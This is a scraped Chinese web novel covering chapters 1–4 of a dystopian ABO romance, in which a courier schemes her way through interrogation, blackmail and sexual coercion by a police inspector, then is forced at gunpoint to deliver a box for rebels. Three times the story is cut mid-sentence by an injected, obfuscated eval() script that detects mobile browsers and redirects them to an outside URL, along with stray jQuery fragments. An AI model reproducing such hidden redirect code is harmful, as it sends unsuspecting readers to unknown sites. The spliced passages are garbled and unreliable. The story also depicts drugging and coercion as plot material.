《老实beta从审讯室开始[gb]》
1. 第 1 章
要说这个世界上最让人痛苦的事情是什么?
是工作。
那么更痛苦的是什么?
是好不容易下班了以为能回家休息,却被当做叛乱军同党抓了起来。
他们以“为叛乱军传递情报,协助反叛宣讲”的罪名把我逮捕起来关进了小黑屋,还不给我饭吃。
天杀的,我没吃早饭!知不知道一天工作十二个小时的底层牛马这辈子最大的盼头是吃饱饭啊?信不信我现在就叛乱给你们这群天龙人看啊!
假的,我压根不敢多说一句话,甚至抬头看天龙人的胆量都没有。
我对这群神经脆弱的警察了如指掌。但凡我多直视他们的眼睛一秒钟,他们就会跟个神经病一样掏出枪把我按警车上搜身。
底层牛马的命也是命啊,不能为了点尊严命都不要了吧?
就这样战战兢兢地待在小黑屋里半小时,我终于被带到了审讯室。
警员把我压在椅子上,用厚重镣铐限制我的双手,顺便给我进行了搜身。
我一穷二白,身上只有几个用来买饭团的钢镚和用于记录配送路线的纸和笔。
然而就是纸和笔让这群神经病确认了我“传递情报”的罪名。
狗屎!我如果传递情报根本不会留证据,我还会把你们这群看见纸和笔的人都杀了!
好吧,不管我的内心如何狂吼咆哮,我都必须在表面上保持我谦卑清冷且高洁的人格。
人嘛,没几个是不爱装的。我也只不过是比其他人更爱装一点而已。
审讯室内光线昏暗,唯有桌前亮起一盏苍白的小台灯。
此次负责审讯我的是警督,属于最高级别的警官。
笑的要死,我这种小牛马竟然还劳烦警督屈尊审讯。
“姓名,年龄。”
“白无用,23岁。”
“性别。”
“beta,女性。”
“性取向。”
我哽住,“警督大人,这貌似没有关系。”
警督留着一头鲜亮夺目的红色头发,五官更是明艳动人。听见我的回答后,他扬起有点恶心的微笑对我说:“对哦,确实没关系。”
“21日凌晨四点,你在做什么?”他换了个问题。
“在家休息。”
“是吗?为什么货运公司提供的排班表上显示当天这个时间点你在工作?而且配送区域正是西区。”
我心中的脏话差点脱口而出。
好在我谨记我风霜高洁的清冷月光人设,转而用更加沉稳的语气说:“警督大人,你知道我那天为什么没有工作。”
“现在是审讯,为确保你的清白,我劝你最好如实交代。”警督大人翘起了二郎腿。
他知道我不会抬头看人,所以故意在桌子底下晃腿。黑色的裤腿,黑色的皮靴,还有那晃眼的红色鞋底,瞧着就价格不菲。
可恶的奢侈品刺痛了我贫穷的眼睛,于是我只能狼狈地扭过头不去看。
“现在,回答我的问题。”警督一边晃动小腿,一边用声音吸引我的注意力。
我深吸一口气,将当天发生的事情如实相告。
“20日傍晚五点半,我骑着我的自行车准备前往公司取货。可我的自行车半路掉链子,我不得不停下来花费五分钟修理,导致上班迟到五分钟被克扣了三百元工资。来到公司领取货物后,我按照往常的工作经验规划路线配送货物,直到21日凌晨两点四十分才停下来,去往路边的便利店购买饭团填饱肚子。”
“我离开便利店就遇到了警督,被怀疑家中私藏违禁品,被迫放下货物带着警督前往家中搜查。等警督搜查完离开后,已经是凌晨四点多了。为此公司给我记了旷工并罚款五百。”
我已经尽可能平铺直叙了,可前面这个害我被记旷工罚款五百的罪魁祸首在听完我的讲述后发出了神经病一样的笑声。
“哈哈哈哈!真有意思,哈哈哈!”
我内心破防怒骂:你笑你爹呢!怎么不把你爹祖坟笑炸!
知不知道底层小牛马一个月工资才三千块?
也许是我的沉默让对方觉得索然无味。
警督很快就笑够了,随手把记录员认真记录的纸张撕掉扔进旁边的垃圾桶,“现在你清白了,白无用。”
我与记录员对视一眼。
我确定了!这个记录员也很烦神经病对吧!快上啊,把这个神经病的脑袋也摁进垃圾桶里!
然而他没动。
没用的东西!
离开审讯时候,我被警督带去了他的办公室。
红木制作的办公桌椅,奢侈高档的茶具,安全系数拉满的防弹玻璃,还有隐私性极高的遮光窗帘。
光是往这一站,我就感受到浓烈的金钱气息扑面而来。
警督拉上了窗帘,又点亮办公桌前的台灯。
这一次的灯光是暖黄色的,堪堪照亮桌面上的文件。
我没来得及看,视线就被警督挡住了。
“无用,你看看你多可怜,没有我就只能受罪。”神经病张口就是垃圾话。
放你爹的狗……该死的这神经病还真没说错!
但难道真的要我做出柔弱可怜的模样吗?那肯定不是啊。
如我这般清冷孤高的人设绝对不会承认自己是个脆皮小五花。
“奥维拉,我不喜欢这样。”我低声说道,发挥十二分的演技演绎出那种明明受制于人但因为骄傲不愿低头的悲情人设,“我知道我是无辜的,你也知道。可你偏偏要这样戏弄我,侮辱我的人格尊严。”
“要让我人格受到侮辱,我宁愿去死。”
警督眨眨眼,黑色的瞳孔似乎收缩了一下。
不要小看底层小牛马察言观色的能力,不懂得揣摩上司微表情的牛马早就被踢出公司了好不好?
“哈哈哈哈,无用,你就是喜欢说这些话逗笑我。”奥维拉又开始发出神经质的笑容,靠在我的肩膀上笑得浑身发颤。
这个神经病不会把口水蹭我衣服上了吧?咦惹,好恶心。
我嫌弃地把他往外推。
碍于办公室内有监控,我还得摆出更为复杂符合人设的表情,想想真是累。
“无用,我们不说那些废话了。”奥维拉又把我的手拉回去贴在面颊上。
“我们已经上过床了,没必要再拒绝我。21日那天你也很满意不是吗?我的腰上还有你留下的咬痕,要看看吗?”
他不提我就不说,他一提我就恼怒。
我立刻就把人推开了,一副正义言辞的模样拒绝他,“21日只是你的阴谋!如果不是你在我的水杯里下药,我怎么可能会和你发生关系!”
“我的骄傲自尊绝对不允许我插足他人的婚姻,而你的alpha丈夫如果知道你犯下这种罪行,一定会让你身败名裂!”
“不,他根本不会知道。”奥维拉压根不当回事,“他比春天的蜜蜂还忙。”
“你看看你,一提起那天晚上的事情就生气。我明明暗示过你很多次了,可你完全听不懂似的一直躲着我。我没有办法啊,无用,我只能这样做了。但凡你在那天晚上之前主动点,我也不至于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775039|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下药。”
我透,我要被这神经病的逻辑吓死了。
这个神经病知不知道他那天龙人丈夫一旦发现两人的奸情,第一个弄死的就是我啊?
不,这个神经病肯定知道。他就是单纯地想要玩弄我的身体罢了。
真该死,我再次诚挚祝福他家祖坟爆炸。
“那你就死了这条心吧。”我转身就打算走人。
“你昨晚在宣讲现场的监控视频在我手里。”他说道。
信个鬼,贫民窟哪他爹来的监控?
这神经病炸我呢。
“无用,你的弟弟才19岁吧?据说很聪明,还是个alpha。如果他被学校开除了,未来会有公司愿意雇佣他吗?”
我冷笑一声,就准备拧动门把手。
“只要答应做我的情人,我一句话就可以让你升职成为公司的经理。不仅每天只需要工作八个小时,工资也是从前的四倍。”
区区升职加薪,真当我会在乎吗?
我还真就在乎了。
我转过身对奥维拉怒目而视,“你明知道我是无辜的,我弟弟也是无辜的,却还要以此来威胁我!”
“有用不就行了?”奥维拉坐在办公桌上,一条腿支起来,另一条腿则是垂下去晃荡。
头发在晃,腿也在晃,看得我恨不得上去照着他的脸来一拳。
“还不过来吗?”奥维拉双手支撑着上半身,并微微往后靠,“这里私密性很好,我觉得是不错的场所。”
我真的无语死了。
神经病不愧是神经病啊,到哪都能发情。
我觉得还不是时候,依旧站在门口的位置没有挪动。
他笑容越发灿烂了,身子也越来越靠后,并发出最后的提醒,“无用,你要是死了,你弟弟也就得跟着你一起死了。”
透的,忍无可忍。
这神经病根本说不到重点!
我大跨步走过去就掐住他的脖子往桌面上摁,“奥维拉,你每次都要以羞辱我人格的方式逼迫我吗?”
神经病,你到底能不能一句话让我升职加薪?
他不断地被我往上推,又粘糊糊地用双腿缠住我的腰坐回去。被我掐住脖子说不出话,就涨红着一张脸在那恶心吧啦地笑。
笑笑笑,我这种底层小牛马的钱就是被你们这群天龙人笑没的!
我被恶心得汗毛直立,把他领带扯下来绑住他的眼睛,“别用那恶心的眼神看我。”
奥维拉偏过脑袋,意识模糊地胡言乱语,“不在……脖子上……咳咳!咬一口吗?哈哈,他不会知道……咳咳!”
我才不这么干。万一哪天他丈夫突击检查看见了我怎么解释?
21日那时候我是被迫的,我当然可以想怎么干就怎么干。但今天我又没有被下药,我是处于“清醒的被迫状态”,当然得表现出一副除了必要交流外啥都不接触的样子啊。
总不能解释说对方把手伸到我嘴下不咬一口就枪毙我吧?
不管了,先把人透了再说。
这神经病怎么越喘越大声了?
虽然知道这办公室隔音效果很好,但我还是抓起了旁边的文件揉成团塞进对方嘴里。
别叫了,再叫外面的狗要给你吸引过来了。
等神经病意识最模糊的时候,我才稍微停下来看一眼文件上的标题。
《贫民窟拆迁和贫民驱逐计划书》
我沉默。
不仅透人的力气没了,连手指也痿了。
该死的神经病天龙人,果然是打算让我无家可归吗?
2. 第 2 章
结束的时候,我还盯着手中皱巴巴的纸团愁眉苦脸。
那个神经病懒洋洋地靠在沙发上,见我盯着手中的纸团,于是沙哑着嗓子开口问:“那是什么东西?”
不是,哥们,放你办公桌上的玩意你问我?
是因为扣扣空间太有限了所以不得不把脑子丢掉?
“奥维拉,这是一份贫民窟拆迁计划书。”我深吸一口气,用尽可能平稳的语气对他说:“你们就没有想过吗?这里有很多穷人,如果把这里拆了,大家无处可去。”
奥维拉这才恍然大悟,精致漂亮的脸蛋上充满了上层人才有的愚蠢和天真,“这样啊,那他们不能去克亚区吗?那儿的环境虽然也不怎么样,但肯定比这里好。”
我哽住,拳头又硬了。
我不想住大房子是我不想吗?我不能照着你的脸上打一拳是因为我心疼吗?
然而神经病是不会停止说垃圾话的。
他只会喋喋不休地放屁。
“他们都是一群不交税的懒鬼,政府愿意给他们那么一大块地产安居乐业那么久已经很好了。而且你不觉得贫民窟很影响市容吗?如果把这一块地方改成风景优美的高尔夫球场,那得多美啊。”神经病一边说,一边慢悠悠地给自己套上衣服。
我再次被奢侈品的光芒刺痛双眼,咬牙切齿收回目光,“奥维拉,我也住在那,我也是贫民窟的一员。”
“哈哈哈哈!”神经病放声大笑,“不不不,无用,你不一样。你是个好人,不仅愿意交税,还愿意去教堂祈祷。就因为你和那些懒鬼不一样,我才看得上你。”
“如果可以,我宁愿没遇见你。”我依旧保持我坚韧不屈的人设,并且脑子开始快速旋转思考该怎么从他的手中骗到新的住所。
一群该死的天龙人,福利政策推行时三年又三年。但要说加税和拆迁绝对是龙卷风摧毁停车场一个比一个快。
我这种底层小牛马肯定是阻止不了了,必须要找个新的安身之所。
“你真可爱。”奥维拉捧着我的脸,又要凑过来亲吻我,“我都要爱上你了,无用。”
说几把爱不爱的多恶心,就不能来点实际的吗?
升职加薪到底可以不可以啊?
我一巴掌把他推开了,继续义正言辞,“奥维拉,我在认真地和你讨论问题。他们有他们的苦衷。但凡政府愿意给予他们合法合规的公民身份,他们一定会像我一样交税。我只是很幸运地有了公民的身份而已,我不是什么特别的人。”
这么说神经病可能听不懂。
毕竟是个靠着上行城丈夫的关系坐上警督位置的花瓶beta,我得说话通俗易懂点。
于是我左思右想,在把他往外推的同时继续说:“奥维拉,我不忍心看他们颠沛流离。就算我知道微薄的薪水支撑不了多久,我也会出手帮助他们,哪怕到最后我会成为流浪者的一员。你如果无法理解我,那请你闭上嘴。”
这下你能听懂了吧?
神经病快点让我升职加薪!
奥维拉又开始笑了。
鬼知道这人为什么那么爱笑。难道他丈夫就是因为他笑起来像个神经病所以才娶他的?
“你真是个恋旧的人,无用。放心好了,我不会那么快签署文件的。”奥维拉将鬓边的红色发丝撩到而后,眼眸里满是笑意。
“现在最重要的是抓住那些不要脸的蛀虫叛乱党。在把他们全部送上处刑台之前,贫民窟会保持原样。”
我脸部绷紧,实际上内心发出尖锐爆鸣。
所以我的升职加薪呢?白白给你扣舒服了,不给我工资是吧?
你们天龙人不是最喜欢纯手工了吗?我这个底层小牛马不配拿工资?
早知道神经病那么抠门我就换个目标了。
心中失望极了,但还是得摆出充满同情心怜悯心的表情,“……希望如此。”
“我要离开了,奥维拉。以后请不要再联系我,这是最后一次。”我整理一下根本没有乱过的衣服,“我是个保守的人,我无法忍受这样的关系。”
“不要玩弄我,奥维拉。也许对你来说只是一次心血来潮的床上关系,但对我来说很重要。就算你用我的弟弟威胁我,我也要对你说出心里话。我是个有思想,有尊严的人。哪怕我们的身份地位差距很大,但死亡来临时我们的灵魂是一样的。”
我用痛苦又夹杂愤怒的目光凝望奥维拉,通过捕捉他面部肌肉的微弱动向来思考下一句要背哪一本书里的台词,“我企图和你有一场灵魂上的交流,无关身份地位,也无关肉/体,仅仅是分享灵魂。可你没有把我当回事。奥维拉,不要把我的痛苦不当回事。很多时候我宁愿死了,也不想遇见你。”
“起码……起码……”来了,最考验演技的时候了!
我抬起手靠近他,然后在他惊讶的目光下捂住了他的眼睛。
“起码不用体会到原则和感情之间反复拉扯的痛苦。”我附在他的耳边轻声说道。
对对对,就是哽咽又痛苦,憎恨又爱恋的那种悲痛语气。
这句话说完,我就赶紧转过身快步离开办公室。
他爹的,再不走快点我就要憋不住打他了。
我脚步很快,偶尔遇见了几个比较脸熟的警员还朝他们点头示意。
毕竟我只是一个小小的送货员,就算今天被他们抓进局子,第二天也得舔着底层小牛马的脸来这里送货。
一个警员瞧见了我,上下打量一番后发出了超级不屑的冷哼声,“呵,小白脸。”
我当即皱起眉头,但没嘴,一副自尊自傲清者自清的模样。
嘻嘻,我从玻璃上看见奥维拉了,以后有你的小鞋穿。
走出警察局,我老远就看见了天边的晚霞。
天杀的,休息时间没有了,我还得去货运公司工作。
而我那破烂自行车也在逮捕时被警察们暴力破坏,只剩下可怜兮兮的几个小零件躺在地上发出无声地哀鸣。
狗屎,神经病还是去死吧。
心情爆炸的我不得不用步行的方式走去货运公司,并思考我的存款够不够买一辆新得自行车,或者购买合适的配件自己组装一辆。
压榨员工的天龙人可不会想着给员工配备自行车,他们只会说懒鬼不配工作。
越是走近了,我就越是能看见遥远处直冲云霄的灯光。
我知道那一束灯光是什么——白灯湾。
上流人中的上流人,我这辈子都想象不出来他们脚上的一双鞋要用我多少个月的工资购买。奥维拉的丈夫也不过是上行城的人而已,只要白灯湾的人稍微动动手指,这对狗男男都得死翘翘。至于我这种小牛马,甚至不用他开口就会被其他人弄死。
那玩意看多了晦气,我收回视线不打算继续看。
进
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775040|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
入了公司,我算算时间只剩下一分多钟,于是加紧步伐前往打卡处。
这个该死的货运公司,但凡员工迟到一秒钟打卡机就会自动关闭识别系统,让员工无法录入人脸。
“滴——工号2728,配送员白无用!”
一声机械音响起,我赶在最后十秒钟之前打卡上班。
那个站在打卡机旁边的胖经理白眼翻上天,对我踩点上班的行为相当唾弃,“懒惰的社会蛀虫!但凡你们每天早点上班,就不至于在底层徘徊。以你们这样的工作态度,就该死死地躺在底层!”
我面无表情,理都不带理的。
以后找到机会了我一定要把这头猪踢出公司!
我正在准备周密计划时,发现猪头拿起了通讯器。
他的表情变了又变,好像是一头吃了迷幻剂变种猪肉。
等他看完通讯器上的信息,就强行扯开一个谄媚的微笑朝着我走过来。
“咳,白无用,上头找你谈话。”
上头?我的顶头上司,也就是公司老板?
“我知道了。”我一面维持不为他人所动的人设,一边抬起腿往电梯的方向走。
电梯上行期间,我还在思考这头猪对我态度转变的理由,以及顶头上司找我的理由。
终于到达了顶层,我得以看见与公司一楼截然不同的装修风格。
精致奢华,到处都是昂贵的瓷器和娇嫩的鲜花。甚至有几个打扫卫生的仆人。
很符合我对omega的刻板印象。
办公室的大门就在眼前,都不需要我敲门,仆人已经替我敲了。
我猜测是仆人担心我肮脏的手会把门弄脏。
“进来吧。”
我跟随仆人进去,首先映入眼帘的是修剪花枝的年轻omega。
他就站在窗台边,长长的白色长发扎成了辫子洒在肩膀上。
“你就是白无用?”这位omega扭过头来看我。
而我的注意力完全被他手中的剪刀吸引。
怎么会有人在剪刀上镶钻石?这合理吗?区区omega会不会用剪刀?不会用就给我用!
克斯蒂满脸嫌弃的对我上下打量,刻薄又傲慢的眼神扫来扫去。因为那张脸过分秀气以至于刻薄的样子别有一番风味。
但我得表现出疑惑的样子,得对他的美色不为所动,“我是白无用,老板。”
“啧,真不知道奥维拉看上你哪儿了。”克斯蒂把剪刀往地上一丢,仆人们自觉地走过去捡起来。
“脸确实不错,但到底是个贫民窟出身的穷人,甚至没有上过大学。”克斯蒂的埋怨越来越多,“哦天,你不会刚从监狱出来吧?身上的工作服为什么破破烂烂,难道不知道这是公司的财产吗?”
“难道人到了28岁就会智力下降?他可真是个蠢货。”
我懂了,这也是个神经病。
我不该抱有希望的,因为天龙人都是神经病,他们都应该原地爆炸。
下一秒,克斯蒂说:“行了,以后你就是配送部门的经理,别再给我穿成这个穷酸的模样出现在公司。”
我立刻瞪大眼睛,疯狂压制上扬嘴角的同时还得用二十分的功力去演绎我的不敢置信,“什么?我应该什么都没做吧?”
放屁,为了升职加薪我可是足足透了神经病两次!
体力劳动也是劳动啊!
3. 第 3 章
“你当然什么都没做,穷酸鬼。”omega脸上鄙夷的神色更甚了,“天,和你这种没上过大学的文盲说话真费劲。”
“我的意思很明显了,如果不是奥维拉向我推荐你,你连见我一面的资格都没有。”
好人山人海的话,这种话我听了无数遍,对我压根造成不了伤害。
这种受过教育的omega根本不知道底层人骂人的话有多脏,说出去我都感觉这个omega会尖叫报警。
升职加薪的梯子就这样摆在我面前,我的目标已经达到了。
但我还得再装一下,假意推辞两三次。
笑话,我可是个不卑不亢有精神有追求的人设,要真这样果断答应下来,我前期做的努力还要不要了?
于是我就这样沉默地听着克斯蒂没完没了的抱怨,直到对方不耐烦地挥手赶我走,我才上前一步说:“很抱歉,请容许我拒绝。”
克斯蒂的眉头狠狠一皱,漂亮的小脸蛋上写满了被底层人拒绝时的惊讶,“什么?”
好了,又到表演的时候咯。
首先情绪得层层递进,目光得复杂深邃,嘴巴也得动起来。
“我的意思是,拒绝。”我开口说道,目光克制地维持在对方的眼睛下方,“我不知道奥维拉是怎么向您提起我的,也不知道他如何形容我。”
“但我有我的想法,我拒绝这没有理由的升职。”
奥维拉到底是有丈夫人,没有了丈夫他就什么都不是。
我要换一个目标,比如眼前的omega。虽然用脚指头想我都知道这个o将来会嫁给一个有权有势的a,但我起码可以在这段时间内尽可能捞更多的好处。
哎,我真是太可怜一beta了。为了努力生活好好活下去,不得不屈辱地任由这些天龙人侮辱我。大概是内心太空虚,所以我才不得不用清冷孤傲的人设伪装自己吧。
想到如今自己面临的处境,我不禁眼眶湿润,飞快地用手背把泪花擦去,然后继续摆出一副痛苦悲伤还要假装坚强的老实人模样。
“我和奥维拉什么关系都没有,老板,您不必因为他的话而照拂我。把我当成一个普通的员工就够了。”
克斯蒂被我狠狠震撼了。
我看得很清楚,这人的微表情从嫌弃变为微妙,还透着一丝不敢置信。
“好吧,那就当我什么都没说过。”克斯蒂的语气稍微放缓。
看样子是被我的纯粹的情感打动了。
至于是什么情感,我当然不会说。
我终于表现地放松下来,正式抬起眼睛看向克斯蒂,“谢谢您愿意听我说完,这让我感受到了奥维拉不曾给予我的尊重。”
我的眼神足够诚挚,也足够认真,就算是短短的三秒钟时间,我也确保我盯着omega的眼神郑重得仿佛在看金子。
这omega的眼睛颜色和黄金真的好像啊,如果能抠出来就好了。
克斯蒂的表情空白了一瞬,很快又恢复自然。
他无意识地用指尖挑起肩膀处的头发细细打卷,视线稍微偏移开来,“是吗,你的要求可真低。”
“你可以走了。”
“嗯,再见。”我十分有礼貌。
虽然我现在迫不及待想要升职加薪,恨不得立刻西装革履然后把楼下的猪头经理踢出公司。
但我想要更好的,就得忍耐下来。
这个omega是个空降老板,不出多久便会返回上行城结婚嫁人。到时候一定要重新找人来管理这个分公司。
我多好啊,我不卑不亢,对他又充满尊重和敬意。不管怎么想,我都是那个最佳接手公司的人选吧?
离开办公室之前,我又转折回来,“我有一个不情之请。”
他对我稍微有了点耐心,又似乎自信预料到什么,“说。”
“如果可以的话,我明天可以再上来见您一次吗?没有别的意思。如果您感觉到不适,可以立刻拒绝我。”
“……”他的嘴巴张了又张,最后什么也没说。
我自觉离开办公室。
计划通嘻嘻!
回到一楼的时候,我又看见了猪头经理。
他扭动恶心又肥胖的身子来到我面前,一副看不起我又不得不谄媚讨好地模样,“老板找你什么事?他有什么安排吗?”
“没什么,只是我明天还得上去一趟而已。”我说道。
猪头的表情更加谄媚了。
这头猪以后不会再克扣我一点工资,反而会主动给我打掩护,减少工作量,在必要的时候还会有求于我。
“我去工作了。”
猪头点头哈腰,“是,是,你去吧。”
知道我的自行车被摧毁后,他还从仓库里调出了一辆崭新的自行车送达我面前,美其名曰员工福利。
我只是一个专心做自己工作的老实人,公司有没有这项福利我当然不知道。
我只是太容易相信别人了,我能有什么错?
领取了比从前少二分之一的货物,我踩着崭新的自行车开始了一天中忙碌的工作。
天色渐渐昏暗下来,然而遥远处的灯光依旧发亮。
周围的建筑物也被木板搭建的破屋子取代,只有偶尔能看见一些由砖头搭建的小屋子。
我对这些小屋子如数家珍。比如黑心诊所,黑心工厂,黑心中介,黑心垃圾回收站……
全部他爹的都是无证经营的黑心商店,而我主要的配送客户就是这些。
贫民窟里大家都穷得叮当响,除了黑心老板外谁会没事在网上购买死贵还得交税的玩意啊?
今日的配送路线依旧有西区。
我路过了昨天叛乱宣讲的地方,看见被拉上的警戒线和地面的深色痕迹。
周围的居民都受到了牵连被抓进监狱,而宣讲的主谋早在21日当天被送上了处刑台。
我无意再此逗留太久。
这里阴森森的,谁知道会不会有死去的冤魂爬出来?
踩着自行车的我正打算离开,拐角突然伸出一只手来把我连人带车勒过去!
坚硬的物体怼上我的腰子,我立刻惊恐瞪大眼睛,“等一下!有话好好说!”
狗屎的这个时候根本无法维持人设!
浓重的血腥味环绕在鼻腔周围,有什么黏腻的液体落在了我的肩膀上。
“我知道你,配送员。”那人的声音响起,沙哑又暗沉。
我从对方厚重的呼吸中可以听出来,这绝对是个alpha,还是那种身体素质极好的那种a!
“21日那天,我看见你了。”
我一个机灵,张口为自己辩驳,“没有!我那天压根没在现场,我送货呢!”
alpha嗤笑一声,显然对我的软骨头行为相当不屑,“果然是个beta,没骨头的东西。我亲眼看见你上了那位警督的车,他还亲了你。呵,你们待在屋子里很长一段时间啊。”
听到此人的话,我心头一松。
哈哈哈原来只是发现我和神经病的奸情啊,我还当什么事呢……等等!这人不会说出去吧!
“朋友,有话咱们好好说。只要你别把这件事情说出去,要我做什么都行。”
“好啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775041|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,替我送一个东西。”他终于说出了目的,“如果你不想事情暴露出去,那就给我乖乖送。如果你想着逃跑,我就会把你们的奸情说出去,当天晚上我的同伴就会翻入你家把你杀了。”
天杀的,叛乱党开始欺压底层公民了!
我只是一个被下药的无辜beta而已,我又做错了什么啊!
我甚至还要供养一个正在读书的弟弟呢!(没供养,真的没有!这只是女主的外在人设!)
“好的没问题。”我果断答应下来。
没办法的啦,要活命嘛。
他又一次嘲笑了我软骨头的行为,“没用的废物。”
不是,你们这群人怎么和天龙人一个死样啊?
你清高,你了不起,你被人拿枪指着腰子还不屑一顾?有种你把枪给我啊,我立刻崩了你!
开玩笑的,我哪敢开口啊。
大概是我愤愤不平的情绪太明显被他发现了,那怼着腰子的枪力道更重了。
我吃痛得倒吸一口凉气,“哥!弟!朋友!这是我吃饭的家伙,别给我弄坏了!”
枪口总算是退后了一些。
“你要我送什么东西?要不现在交给我?”我没敢转身看他,生怕被杀人灭口。
alpha将一个巴掌大的盒子从后面递到我的面前,“三天后的这个时间点,放到东区码头一艘船的甲板上。”
贫民窟的东区靠近海边,有着众多偷渡犯和走私犯。不仅如此,很多犯罪团伙还会选择在那毁尸灭迹,杀完人分尸后直接丢进海里喂鱼。
“不是,哥们,那么多艘船,我怎么知道是哪一艘?”
alpha的呼吸更重了,我想着应该是对方失血过多有点支撑不住。
要不要趁机夺走他的枪?毕竟听着声音很虚弱,我不是没有成功的可能。
但万一呢?他有什么底牌是我不知道的呢?能够当街劫持一个和警督有关系的beta,没有后手说不过去。
思来想去,我还是放弃反抗。
升职加薪的人生就在眼前,容不得一丝差错啊!
“你去了就知道。”他丢下来一句屁话。
我心头一梗,无力感油然而生。
你要这样讲的话,我可不负责售后哦。
不过我还是将盒子收下,丢进了装货物的帆布包里。
“别想着逃跑。”他发出最后一声警告,“我的同伴会第一时间解决你。”
“好好好,没问题。”我满口答应。
枪口缓缓离开,我感受倒血腥的气味离我远去。
我依旧保持一个姿势没有回头,直到声音彻底消失为止,才心有余悸回过头。
原地哪里还有人啊,唯有地板上留存着新鲜的血渍。
我又开始了头脑风暴,在举报与合污之间来回徘徊。
我选择后者。鬼知道那群警察会不会一个看我不爽给我扣上“监守自盗”的罪名抓进去?
奥维拉那个神经病也还没喜欢我到愿意为我沾染一身腥的程度。
当然,最重要的是——我也很好奇盒子里是什么东西。
万一留着有用呢?
现在不是和奥维拉撇清关系时机,要是他丈夫突击检查回来发现我俩的奸情要弄死我呢?
看在为叛乱党传递过一次东西的情面上,对方好歹会帮我一次吧?
万事留条路,总是有用的。
于是我快速脱掉了工作服的外套,又用灰尘掩盖住裤子上星星点点的血滴。
确认全身上下没有问题后,我才恢复如初地踩上自行车继续送货。
4. 第 4 章
今天的货物比从前少了很多,全部配送完全不过刚刚到凌晨两点。
我又在街道上待了一会,跑去常去的那间黑心便利店购买饭团吃。
“滴滴——”新来的戴口罩店员拿出扫描仪往饭团上一扫,“13元。”
熟悉的价格,还是一如既往的昂贵。
然而整个贫民窟只有这一个黑心便利店,我只能从这买东西吃。
往身上一摸,我僵住了。
钱没带!
“现金还是电子支付?”透过口罩,店员的眼睛里写满不耐烦,一副死穷鬼买不起饭团就别吃的资本家模样。
“钱包不在,电子支付。”我说道,“开发票。”
店员抬头看了我一眼,表情有些微妙。
看什么看!13元就不是钱了?就要开发票!而且是纸质的!
最后,我拿着冷冰冰的打折饭团和一张发票离开了便利店。
回去的路上我依旧在思考叛乱党交给我的盒子里装着的是什么东西。
如果他真的有同伴,大可以把盒子交给同伴护送,没必要交给我一个陌生人来增加风险。会不会有一种可能,他其实也不知道他的同伴在哪里,恰巧最近警署方面搜查叛乱党,为了防止同伴身份暴露于是抓住一个陌生人来分担风险。
成功了自然皆大欢喜,要是失败暴露抓住的也是我!
要是他的同伴不存在,那我自然是想怎么样就怎么样。
但这种可能性太小,这些人都能够叛乱了谁知道临死前会做出什么样的反扑。
想通这一层,我顿时惊出一身冷汗。
可恶啊,怎么天龙人和叛乱党都抓着我这个底层小牛马压榨!
牛马的命也是命!
焦虑让我加快了啃饭团的速度。
我没有选择权,对方瞄上我的时候我就只剩一条路。
要么安全送到,要么被送上处刑台或被枪毙。
我就这样在焦虑中啃完了饭团,然后奇迹地把这件事情丢到脑子后面去了。
嗨嗨嗨!这不是还有三天的时间嘛!万一三天后的工作路线在东区呢!顺手就能送了。
怀抱着诡异的侥幸心理,我心安理得地回到了自己的小狗窝。
我居住的小房屋在贫民窟的边缘,处于克亚区和贫民窟之间的缓冲地带。
因为这里靠近警察局,公司和克亚区,所以需要支付的房租每个月高达八百块。尽管如此昂贵,但我当初得到公民身份时候还是咬咬牙租了下来。
没有别的,就因为这里靠近警察局。
但有些时候又因为太靠近警察局以至于没有盗贼敢闯进来。
我实在是太穷了了,恨不得盗贼从其他有钱人家里偷点值钱的东西然后落在我家里,然后我正好可以占为己有。
当初看见刚刚上任的奥维拉,我就知道我想要什么东西,我该怎么得到我要的东西。
我把盒子从帆布包里拿出来仔细观察。
是上了锁的盒子,说不定里面还有微型炸弹,只要我有胆子撬锁,我就会立刻死翘翘。
还不能着急,我告诉自己。
一切得从长计议,总会得到的。
于是我把盒子塞入了床底下,又用几个陈旧的木板挡住。
我就这样睡着了。
第二天,我度过了很平常的一个中午和下午。并且依旧没有思考出怎么把盒子安全送出去又不会被发现的好办法。
貌似除了我本人亲自去一趟外别无选择。
没关系,我还有两天时间呢。
我有些无赖地想道,然后在下楼的时候顺手从邻居手里抢过来一张白纸。
“不要脸的东西!”邻居唾骂一声,到底没有追上来打我。
通讯器响个不停,是奥维拉一直在发信息给我,让我去警察局一趟见他。
可笑,昨天我才放下狠话说不打算与他继续来往,今天要是乖乖送上门岂不是显得我很没有原则?
我这清冷自尊的人设还要不要了?
就这样踩着小自行车来到公司,我再次看见了猪头经理。
